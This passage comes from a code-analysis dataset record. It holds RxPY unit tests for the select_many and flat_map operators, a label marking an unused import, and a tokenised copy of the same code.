xs.messages[4].value.value.subscriptions.assert_equal(subscribe(550, 960))\n xs.messages[5].value.value.subscriptions.assert_equal(subscribe(750, 790))\n xs.messages[6].value.value.subscriptions.assert_equal(subscribe(850, 950))", "metadata": "root.TestSelectMany.test_select_many_complete_inner_not_complete", "header": "['class', 'TestSelectMany', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 112 }, { "content": " def test_select_many_complete_outer_not_complete(self):\n scheduler = TestScheduler()\n xs = scheduler.create_hot_observable(on_next(5, scheduler.create_cold_observable(on_error(1, 'ex1'))), on_next(105, scheduler.create_cold_observable(on_error(1, 'ex2'))), on_next(300, scheduler.create_cold_observable(on_next(10, 102), on_next(90, 103), on_next(110, 104), on_next(190, 105), on_next(440, 106), on_completed(460))), on_next(400, scheduler.create_cold_observable(on_next(180, 202), on_next(190, 203), on_completed(205))), on_next(550, scheduler.create_cold_observable(on_next(10, 301), on_next(50, 302), on_next(70, 303), on_next(260, 304), on_next(310, 305), on_completed(410))), on_next(750, scheduler.create_cold_observable(on_completed(40))), on_next(850, scheduler.create_cold_observable(on_next(80, 401), on_next(90, 402), on_completed(100))))\n \n def factory():\n return xs.select_many(lambda x: x)\n results = scheduler.start(factory)\n \n results.messages.assert_equal(on_next(310, 102), on_next(390, 103), on_next(410, 104), on_next(490, 105), on_next(560, 301), on_next(580, 202), on_next(590, 203), on_next(600, 302), on_next(620, 303), on_next(740, 106), on_next(810, 304), on_next(860, 305), on_next(930, 401), on_next(940, 402))\n xs.subscriptions.assert_equal(subscribe(200, 1000))\n xs.messages[2].value.value.subscriptions.assert_equal(subscribe(300, 760))\n xs.messages[3].value.value.subscriptions.assert_equal(subscribe(400, 605))\n xs.messages[4].value.value.subscriptions.assert_equal(subscribe(550, 960))\n xs.messages[5].value.value.subscriptions.assert_equal(subscribe(750, 790))\n xs.messages[6].value.value.subscriptions.assert_equal(subscribe(850, 950))", "metadata": "root.TestSelectMany.test_select_many_complete_outer_not_complete", "header": "['class', 'TestSelectMany', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 128 }, { "content": " def test_select_many_error_outer(self):\n ex = 'ex'\n scheduler = TestScheduler()\n xs = scheduler.create_hot_observable(on_next(5, scheduler.create_cold_observable(on_error(1, 'ex1'))), on_next(105, scheduler.create_cold_observable(on_error(1, 'ex2'))), on_next(300, scheduler.create_cold_observable(on_next(10, 102), on_next(90, 103), on_next(110, 104), on_next(190, 105), on_next(440, 106), on_completed(460))), on_next(400, scheduler.create_cold_observable(on_next(180, 202), on_next(190, 203), on_completed(205))), on_next(550, scheduler.create_cold_observable(on_next(10, 301), on_next(50, 302), on_next(70, 303), on_next(260, 304), on_next(310, 305), on_completed(410))), on_next(750, scheduler.create_cold_observable(on_completed(40))), on_next(850, scheduler.create_cold_observable(on_next(80, 401), on_next(90, 402), on_completed(100))), on_error(900, ex))\n\n def factory():\n return xs.select_many(lambda x: x)\n results = scheduler.start(factory)\n \n results.messages.assert_equal(on_next(310, 102), on_next(390, 103), on_next(410, 104), on_next(490, 105), on_next(560, 301), on_next(580, 202), on_next(590, 203), on_next(600, 302), on_next(620, 303), on_next(740, 106), on_next(810, 304), on_next(860, 305), on_error(900, ex))\n xs.subscriptions.assert_equal(subscribe(200, 900))\n xs.messages[2].value.value.subscriptions.assert_equal(subscribe(300, 760))\n xs.messages[3].value.value.subscriptions.assert_equal(subscribe(400, 605))\n xs.messages[4].value.value.subscriptions.assert_equal(subscribe(550, 900))\n xs.messages[5].value.value.subscriptions.assert_equal(subscribe(750, 790))\n xs.messages[6].value.value.subscriptions.assert_equal(subscribe(850, 900))", "metadata": "root.TestSelectMany.test_select_many_error_outer", "header": "['class', 'TestSelectMany', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 144 }, { "content": " def test_select_many_error_inner(self):\n ex = 'ex'\n scheduler = TestScheduler()\n xs = scheduler.create_hot_observable(on_next(5, scheduler.create_cold_observable(on_error(1, 'ex1'))), on_next(105, scheduler.create_cold_observable(on_error(1, 'ex2'))), on_next(300, scheduler.create_cold_observable(on_next(10, 102), on_next(90, 103), on_next(110, 104), on_next(190, 105), on_next(440, 106), on_error(460, ex))), on_next(400, scheduler.create_cold_observable(on_next(180, 202), on_next(190, 203), on_completed(205))), on_next(550, scheduler.create_cold_observable(on_next(10, 301), on_next(50, 302), on_next(70, 303), on_next(260, 304), on_next(310, 305), on_completed(410))), on_next(750, scheduler.create_cold_observable(on_completed(40))), on_next(850, scheduler.create_cold_observable(on_next(80, 401), on_next(90, 402), on_completed(100))), on_completed(900))\n \n def factory():\n return xs.select_many(lambda x: x)\n results = scheduler.start(factory)\n \n results.messages.assert_equal(on_next(310, 102), on_next(390, 103), on_next(410, 104), on_next(490, 105), on_next(560, 301), on_next(580, 202), on_next(590, 203), on_next(600, 302), on_next(620, 303), on_next(740, 106), on_error(760, ex))\n xs.subscriptions.assert_equal(subscribe(200, 760))\n xs.messages[2].value.value.subscriptions.assert_equal(subscribe(300, 760))\n xs.messages[3].value.value.subscriptions.assert_equal(subscribe(400, 605))\n xs.messages[4].value.value.subscriptions.assert_equal(subscribe(550, 760))\n xs.messages[5].value.value.subscriptions.assert_equal(subscribe(750, 760))\n xs.messages[6].value.value.subscriptions.assert_equal()", "metadata": "root.TestSelectMany.test_select_many_error_inner", "header": "['class', 'TestSelectMany', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 161 }, { "content": " def test_select_many_dispose(self):\n scheduler = TestScheduler()\n xs = scheduler.create_hot_observable(on_next(5, scheduler.create_cold_observable(on_error(1, 'ex1'))), on_next(105, scheduler.create_cold_observable(on_error(1, 'ex2'))), on_next(300, scheduler.create_cold_observable(on_next(10, 102), on_next(90, 103), on_next(110, 104), on_next(190, 105), on_next(440, 106), on_completed(460))), on_next(400, scheduler.create_cold_observable(on_next(180, 202), on_next(190, 203), on_completed(205))), on_next(550, scheduler.create_cold_observable(on_next(10, 301), on_next(50, 302), on_next(70, 303), on_next(260, 304), on_next(310, 305), on_completed(410))), on_next(750, scheduler.create_cold_observable(on_completed(40))), on_next(850, scheduler.create_cold_observable(on_next(80, 401), on_next(90, 402), on_completed(100))), on_completed(900))\n \n def create():\n return xs.select_many(lambda x: x)\n results = scheduler.start(create, disposed=700)\n\n results.messages.assert_equal(on_next(310, 102), on_next(390, 103), on_next(410, 104), on_next(490, 105), on_next(560, 301), on_next(580, 202), on_next(590, 203), on_next(600, 302), on_next(620, 303))\n xs.subscriptions.assert_equal(subscribe(200, 700))\n xs.messages[2].value.value.subscriptions.assert_equal(subscribe(300, 700))\n xs.messages[3].value.value.subscriptions.assert_equal(subscribe(400, 605))\n xs.messages[4].value.value.subscriptions.assert_equal(subscribe(550, 700))\n xs.messages[5].value.value.subscriptions.assert_equal()\n xs.messages[6].value.value.subscriptions.assert_equal()", "metadata": "root.TestSelectMany.test_select_many_dispose", "header": "['class', 'TestSelectMany', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 178 }, { "content": " def test_select_many_throw(self):\n invoked = [0]\n ex = 'ex'\n scheduler = TestScheduler()\n xs = scheduler.create_hot_observable(on_next(5, scheduler.create_cold_observable(on_error(1, 'ex1'))), on_next(105, scheduler.create_cold_observable(on_error(1, 'ex2'))), on_next(300, scheduler.create_cold_observable(on_next(10, 102), on_next(90, 103), on_next(110, 104), on_next(190, 105), on_next(440, 106), on_completed(460))), on_next(400, scheduler.create_cold_observable(on_next(180, 202), on_next(190, 203), on_completed(205))), on_next(550, scheduler.create_cold_observable(on_next(10, 301), on_next(50, 302), on_next(70, 303), on_next(260, 304), on_next(310, 305), on_completed(410))), on_next(750, scheduler.create_cold_observable(on_completed(40))), on_next(850, scheduler.create_cold_observable(on_next(80, 401), on_next(90, 402), on_completed(100))), on_completed(900))\n \n def factory():\n def projection(x):\n invoked[0] += 1\n if invoked[0] == 3:\n raise Exception(ex)\n return x\n return xs.select_many(projection)\n results = scheduler.start(factory)\n \n results.messages.assert_equal(on_next(310, 102), on_next(390, 103), on_next(410, 104), on_next(490, 105), on_error(550, ex))\n xs.subscriptions.assert_equal(subscribe(200, 550))\n xs.messages[2].value.value.subscriptions.assert_equal(subscribe(300, 550))\n xs.messages[3].value.value.subscriptions.assert_equal(subscribe(400, 550))\n xs.messages[4].value.value.subscriptions.assert_equal()\n xs.messages[5].value.value.subscriptions.assert_equal()\n xs.messages[6].value.value.subscriptions.assert_equal()", "metadata": "root.TestSelectMany.test_select_many_throw", "header": "['class', 'TestSelectMany', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 194 }, { "content": " def test_select_many_use_function(self):\n scheduler = TestScheduler()\n xs = scheduler.create_hot_observable(on_next(210, 4), on_next(220, 3), on_next(250, 5), on_next(270, 1), on_completed(290))\n \n def factory():\n def projection(x):\n return Observable.interval(10, scheduler).map(lambda a, b: x).take(x)\n return xs.select_many(projection)\n results = scheduler.start(factory)\n \n results.messages.assert_equal(on_next(220, 4), on_next(230, 3), on_next(230, 4), on_next(240, 3), on_next(240, 4), on_next(250, 3), on_next(250, 4), on_next(260, 5), on_next(270, 5), on_next(280, 1), on_next(280, 5), on_next(290, 5), on_next(300, 5), on_completed(300))\n xs.subscriptions.assert_equal(subscribe(200, 290))", "metadata": "root.TestSelectMany.test_select_many_use_function", "header": "['class', 'TestSelectMany', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 217 }, { "content": " def test_flat_map_iterable_complete(self):\n scheduler = TestScheduler()\n\n xs = scheduler.create_hot_observable(\n on_next(210, 2),\n on_next(340, 4),\n on_next(420, 3),\n on_next(510, 2),\n on_completed(600)\n )\n inners = []\n\n def create():\n def mapper(x):\n ys = [x] * x\n inners.append(ys)\n return ys\n return xs.flat_map(mapper)\n res = scheduler.start(create)\n\n res.messages.assert_equal(\n on_next(210, 2),\n on_next(210, 2),\n on_next(340, 4),\n on_next(340, 4),\n on_next(340, 4),\n on_next(340, 4),\n on_next(420, 3),\n on_next(420, 3),\n on_next(420, 3),\n on_next(510, 2),\n on_next(510, 2),\n on_completed(600)\n )\n\n xs.subscriptions.assert_equal(\n subscribe(200, 600)\n )\n assert(4 == len(inners))", "metadata": "root.TestSelectMany.test_flat_map_iterable_complete", "header": "['class', 'TestSelectMany', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 230 }, { "content": " def test_flat_map_iterable_complete_result_selector(self):\n scheduler = TestScheduler()\n\n xs = scheduler.create_hot_observable(\n on_next(210, 2),\n on_next(340, 4),\n on_next(420, 3),\n on_next(510, 2),\n on_completed(600)\n )\n\n def create():\n return xs.flat_map(lambda x, i: [x] * x, lambda x,y, i: x + y)\n \n res = scheduler.start(create)\n \n res.messages.assert_equal(\n on_next(210, 4),\n on_next(210, 4),\n on_next(340, 8),\n on_next(340, 8),\n on_next(340, 8),\n on_next(340, 8),\n on_next(420, 6),\n on_next(420, 6),\n on_next(420, 6),\n on_next(510, 4),\n on_next(510, 4),\n on_completed(600)\n )\n\n xs.subscriptions.assert_equal(\n subscribe(200, 600)\n )", "metadata": "root.TestSelectMany.test_flat_map_iterable_complete_result_selector", "header": "['class', 'TestSelectMany', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 270 } ]
[ { "span": "from rx.testing import TestScheduler, ReactiveTest, is_prime", "start_line": 3, "start_column": 0, "end_line": 3, "end_column": 60 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "unittest_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "rx_", "._", "observable_", "import_", "Observable_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "rx_", "._", "testing_", "import_", "Test", "Scheduler_", ",_", "React", "ive", "Test_", ",_", "is", "\\u", "prime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "on", "\\u", "next_", "=_", "React", "ive", "Test_", "._", "on", "\\u", "next_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "on", "\\u", "completed_", "=_", "React", "ive", "Test_", "._", "on", "\\u", "completed_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "on", "\\u", "error_", "=_", "React", "ive", "Test_", "._", "on", "\\u", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subscribe_", "=_", "React", "ive", "Test_", "._", "subscribe_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subscribed", "_", "=_", "React", "ive", "Test_", "._", "subscribed", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dispose", "d_", "=_", "React", "ive", "Test_", "._", "dispose", "d_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "created_", "=_", "React", "ive", "Test_", "._", "created_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "'\\u", "\\u", "main", "\\u\\u'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "unittest_", "._", "main_", "(_", ")_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Test", "Select", "Many", "_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Test", "Select", "Many", "_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "test\\u", "select", "\\u", "many", "\\u", "then", "\\u", "complete", "\\u", "complete_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "scheduler_", "=_", "Test", "Scheduler_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "=_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "next_", "(_", "100_", ",_", "4_", ")_", ",_", "on", "\\u", "next_", "(_", "200_", ",_", "2_", ")_", ",_", "on", "\\u", "next_", "(_", "300_", ",_", "3_", ")_", ",_", "on", "\\u", "next_", "(_", "400_", ",_", "1_", ")_", ",_", "on", "\\u", "completed_", "(_", "500_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ys_", "=_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "next_", "(_", "50_", ",_", "\"", "foo", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "100_", ",_", "\"", "bar", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "150_", ",_", "\"", "ba", "z", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "200_", ",_", "\"", "qu", "x", "\"_", ")_", ",_", "on", "\\u", "completed_", "(_", "250_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "factory_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "xs_", "._", "select", "\\u", "many_", "(_", "ys_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "results_", "=_", "scheduler_", "._", "start_", "(_", "factory_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "results_", "._", "messages_", "._", "assert", "\\u", "equal_", "(_", "on", "\\u", "next_", "(_", "350_", ",_", "\"", "foo", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "400_", ",_", "\"", "bar", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "450_", ",_", "\"", "ba", "z", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "450_", ",_", "\"", "foo", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "500_", ",_", "\"", "qu", "x", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "500_", ",_", "\"", "bar", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "550_", ",_", "\"", "ba", "z", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "550_", ",_", "\"", "foo", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "600_", ",_", "\"", "qu", "x", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "600_", ",_", "\"", "bar", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "650_", ",_", "\"", "ba", "z", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "650_", ",_", "\"", "foo", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "700_", ",_", "\"", "qu", "x", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "700_", ",_", "\"", "bar", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "750_", ",_", "\"", "ba", "z", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "800_", ",_", "\"", "qu", "x", "\"_", ")_", ",_", "on", "\\u", "completed_", "(_", "850", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", "subscribe_", "(_", "200_", ",_", "700_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ys_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", "subscribe_", "(_", "300_", ",_", "550_", ")_", ",_", "subscribe_", "(_", "400_", ",_", "650_", ")_", ",_", "subscribe_", "(_", "500_", ",_", "750_", ")_", ",_", "subscribe_", "(_", "600_", ",_", "850", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Select", "Many", "_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "select", "\\u", "many", "\\u", "then", "\\u", "complete", "\\u", "complete", "\\u", "2_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "scheduler_", "=_", "Test", "Scheduler_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "=_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "next_", "(_", "100_", ",_", "4_", ")_", ",_", "on", "\\u", "next_", "(_", "200_", ",_", "2_", ")_", ",_", "on", "\\u", "next_", "(_", "300_", ",_", "3_", ")_", ",_", "on", "\\u", "next_", "(_", "400_", ",_", "1_", ")_", ",_", "on", "\\u", "completed_", "(_", "700_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ys_", "=_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "next_", "(_", "50_", ",_", "\"", "foo", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "100_", ",_", "\"", "bar", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "150_", ",_", "\"", "ba", "z", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "200_", ",_", "\"", "qu", "x", "\"_", ")_", ",_", "on", "\\u", "completed_", "(_", "250_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "factory_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "xs_", "._", "select", "\\u", "many_", "(_", "ys_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "results_", "=_", "scheduler_", "._", "start_", "(_", "factory_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "results_", "._", "messages_", "._", "assert", "\\u", "equal_", "(_", "on", "\\u", "next_", "(_", "350_", ",_", "\"", "foo", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "400_", ",_", "\"", "bar", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "450_", ",_", "\"", "ba", "z", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "450_", ",_", "\"", "foo", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "500_", ",_", "\"", "qu", "x", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "500_", ",_", "\"", "bar", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "550_", ",_", "\"", "ba", "z", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "550_", ",_", "\"", "foo", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "600_", ",_", "\"", "qu", "x", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "600_", ",_", "\"", "bar", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "650_", ",_", "\"", "ba", "z", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "650_", ",_", "\"", "foo", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "700_", ",_", "\"", "qu", "x", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "700_", ",_", "\"", "bar", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "750_", ",_", "\"", "ba", "z", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "800_", ",_", "\"", "qu", "x", "\"_", ")_", ",_", "on", "\\u", "completed_", "(_", "900_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", "subscribe_", "(_", "200_", ",_", "900_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ys_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", "subscribe_", "(_", "300_", ",_", "550_", ")_", ",_", "subscribe_", "(_", "400_", ",_", "650_", ")_", ",_", "subscribe_", "(_", "500_", ",_", "750_", ")_", ",_", "subscribe_", "(_", "600_", ",_", "850", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Select", "Many", "_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "select", "\\u", "many", "\\u", "then", "\\u", "neve", "r", "\\u", "complete_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "scheduler_", "=_", "Test", "Scheduler_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "=_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "next_", "(_", "100_", ",_", "4_", ")_", ",_", "on", "\\u", "next_", "(_", "200_", ",_", "2_", ")_", ",_", "on", "\\u", "next_", "(_", "300_", ",_", "3_", ")_", ",_", "on", "\\u", "next_", "(_", "400_", ",_", "1_", ")_", ",_", "on", "\\u", "next_", "(_", "500_", ",_", "5_", ")_", ",_", "on", "\\u", "next_", "(_", "700_", ",_", "0_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ys_", "=_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "next_", "(_", "50_", ",_", "\"", "foo", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "100_", ",_", "\"", "bar", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "150_", ",_", "\"", "ba", "z", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "200_", ",_", "\"", "qu", "x", "\"_", ")_", ",_", "on", "\\u", "completed_", "(_", "250_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "results_", "=_", "scheduler_", "._", "start_", "(_", "lambda_", ":_", "xs_", "._", "select", "\\u", "many_", "(_", "ys_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "results_", "._", "messages_", "._", "assert", "\\u", "equal_", "(_", "on", "\\u", "next_", "(_", "350_", ",_", "\"", "foo", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "400_", ",_", "\"", "bar", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "450_", ",_", "\"", "ba", "z", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "450_", ",_", "\"", "foo", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "500_", ",_", "\"", "qu", "x", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "500_", ",_", "\"", "bar", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "550_", ",_", "\"", "ba", "z", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "550_", ",_", "\"", "foo", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "600_", ",_", "\"", "qu", "x", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "600_", ",_", "\"", "bar", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "650_", ",_", "\"", "ba", "z", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "650_", ",_", "\"", "foo", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "700_", ",_", "\"", "qu", "x", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "700_", ",_", "\"", "bar", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "750_", ",_", "\"", "ba", "z", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "750_", ",_", "\"", "foo", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "800_", ",_", "\"", "qu", "x", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "800_", ",_", "\"", "bar", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "850", "_", ",_", "\"", "ba", "z", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "900_", ",_", "\"", "qu", "x", "\"_", ")_", ",_", "on", "\\u", "next_", "(_", "950", "_", ",_", "\"", "foo", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", "subscribe_", "(_", "200_", ",_", "1000_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ys_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", "subscribe_", "(_", "300_", ",_", "550_", ")_", ",_", "subscribe_", "(_", "400_", ",_", "650_", ")_", ",_", "subscribe_", "(_", "500_", ",_", "750_", ")_", ",_", "subscribe_", "(_", "600_", ",_", "850", "_", ")_", ",_", "subscribe_", "(_", "700_", ",_", "950", "_", ")_", ",_", "subscribe_", "(_", "900_", ",_", "1000_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Select", "Many", "_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "select", "\\u", "many", "\\u", "then", "\\u", "complete", "\\u", "neve", "r_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "scheduler_", "=_", "Test", "Scheduler_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "=_", "scheduler_", "._", "create", "\\u", "cold", "\\u", 